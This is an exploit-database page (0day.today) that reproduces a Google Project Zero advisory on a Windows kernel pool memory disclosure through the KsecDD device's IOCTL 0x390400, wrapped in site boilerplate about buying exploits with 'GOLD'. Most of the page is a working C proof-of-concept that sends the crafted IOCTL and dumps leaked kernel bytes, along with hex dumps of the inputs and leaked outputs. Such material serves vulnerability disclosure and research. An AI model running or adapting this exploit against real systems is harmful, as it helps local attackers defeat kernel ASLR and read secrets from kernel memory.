0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

Microsoft Windows - IOCTL 0x390400, operation code 0x00020000 Kernel KsecDD Pool Memory Disclosure E

Author

Google Security Research

Risk

[

Security Risk Medium

]

0day-ID

Category

Date add

CVE

Platform

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1147
 
We have discovered that the IOCTL sent to the \Device\KsecDD device by the BCryptOpenAlgorithmProvider documented API returns some uninitialized pool memory in the output buffer. Let's consider the following input data for the IOCTL:
 
--- cut ---
00000000: 4d 3c 2b 1a 00 00 02 00 ff ff ff ff 00 00 00 00 M<+.............
00000010: 20 00 00 00 ff ff ff ff 01 00 00 00 02 00 00 00  ...............
00000020: 33 00 44 00 45 00 53 00 00 00                   3.D.E.S...
--- cut ---
 
On our test Windows 7 32-bit workstation, the layout of the output buffer is as follows:
 
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 ff ff ?? ?? ?? ?? ................
--- cut ---
 
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As shown above, there are 2 leaked bytes at offsets 0x32-0x33, 2 leaked bytes at offsets 0x6e-0x6f, and 2 leaked bytes at offsets 0xca-0xcb, for a total of 6 disclosed bytes.
 
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
 
--- cut ---
00000000: 01 00 00 00 08 00 00 00 0c 00 00 00 01 00 00 00 ................
00000010: 28 00 00 00 34 00 00 00 01 00 00 00 70 00 00 00 (...4.......p...
00000020: 98 00 00 00 ff ff ff ff 33 00 44 00 45 00 53 00 ........3.D.E.S.
00000030: 00 00[27 27]4d 00 69 00 63 00 72 00 6f 00 73 00 ..''M.i.c.r.o.s.
00000040: 6f 00 66 00 74 00 20 00 50 00 72 00 69 00 6d 00 o.f.t. .P.r.i.m.
00000050: 69 00 74 00 69 00 76 00 65 00 20 00 50 00 72 00 i.t.i.v.e. .P.r.
00000060: 6f 00 76 00 69 00 64 00 65 00 72 00 00 00[27 27]o.v.i.d.e.r...''
00000070: 74 00 00 00 80 00 00 00 04 00 00 00 94 00 00 00 t...............
00000080: 4b 00 65 00 79 00 4c 00 65 00 6e 00 67 00 74 00 K.e.y.L.e.n.g.t.
00000090: 68 00 00 00 80 00 00 00 a0 00 00 00 01 00 00 00 h...............
000000a0: 62 00 63 00 72 00 79 00 70 00 74 00 70 00 72 00 b.c.r.y.p.t.p.r.
000000b0: 69 00 6d 00 69 00 74 00 69 00 76 00 65 00 73 00 i.m.i.t.i.v.e.s.
000000c0: 2e 00 64 00 6c 00 6c 00 00 00[27 27]?? ?? ?? ?? ..d.l.l...''....
--- cut ---
00000000: 01 00 00 00 08 00 00 00 0c 00 00 00 01 00 00 00 ................
00000010: 28 00 00 00 34 00 00 00 01 00 00 00 70 00 00 00 (...4.......p...
00000020: 98 00 00 00 ff ff ff ff 33 00 44 00 45 00 53 00 ........3.D.E.S.
00000030: 00 00[85 85]4d 00 69 00 63 00 72 00 6f 00 73 00 ....M.i.c.r.o.s.
00000040: 6f 00 66 00 74 00 20 00 50 00 72 00 69 00 6d 00 o.f.t. .P.r.i.m.
00000050: 69 00 74 00 69 00 76 00 65 00 20 00 50 00 72 00 i.t.i.v.e. .P.r.
00000060: 6f 00 76 00 69 00 64 00 65 00 72 00 00 00[85 85]o.v.i.d.e.r.....
00000070: 74 00 00 00 80 00 00 00 04 00 00 00 94 00 00 00 t...............
00000080: 4b 00 65 00 79 00 4c 00 65 00 6e 00 67 00 74 00 K.e.y.L.e.n.g.t.
00000090: 68 00 00 00 80 00 00 00 a0 00 00 00 01 00 00 00 h...............
000000a0: 62 00 63 00 72 00 79 00 70 00 74 00 70 00 72 00 b.c.r.y.p.t.p.r.
000000b0: 69 00 6d 00 69 00 74 00 69 00 76 00 65 00 73 00 i.m.i.t.i.v.e.s.
000000c0: 2e 00 64 00 6c 00 6c 00 00 00[85 85]?? ?? ?? ?? ..d.l.l.........
--- cut ---
 
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
 
#include <Windows.h>
#include <bcrypt.h>
#include <winternl.h>
#include <cstdio>
 
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);
 
    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }
 
    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }
 
    printf("\n");
  }
}
 
int main() {
  HANDLE hksecdd;
  OBJECT_ATTRIBUTES objattr;
  UNICODE_STRING ksecdd_name;
  IO_STATUS_BLOCK iob;
  NTSTATUS st;
 
  RtlInitUnicodeString(&ksecdd_name, L"\\Device\\KsecDD");
  InitializeObjectAttributes(&objattr, &ksecdd_name, 0, NULL, 0);
  st = NtOpenFile(&hksecdd,
                  FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE,
                  &objattr,
                  &iob,
                  FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                  FILE_SYNCHRONOUS_IO_NONALERT);
  if (!NT_SUCCESS(st)) {
    printf("NtOpenFile failed, %x\n", st);
    return 1;
  }
 
  BYTE InputBuffer[] = "\x4d\x3c\x2b\x1a\x00\x00\x02\x00\xff\xff\xff\xff\x00\x00\x00\x00\x20\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x02\x00\x00\x00\x33\x00\x44\x00\x45\x00\x53\x00\x00\x00";
  BYTE OutputBuffer[0x200] = { /* zero padding */ };
  DWORD BytesReturned = 0;
  if (!DeviceIoControl(hksecdd, 0x390400, InputBuffer, sizeof(InputBuffer), OutputBuffer, sizeof(OutputBuffer), &BytesReturned, NULL)) {
    printf("DeviceIoControl failed, %d\n", GetLastError());
    CloseHandle(hksecdd);
    return 1;
  }
 
  PrintHex(OutputBuffer, BytesReturned);
 
  CloseHandle(hksecdd);
 
  return 0;
}

#  0day.today [2024-12-24]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

Microsoft Windows - IOCTL 0x390400, operation code 0x00020000 Kernel KsecDD Pool Memory Disclosure E

Report Error

Report Error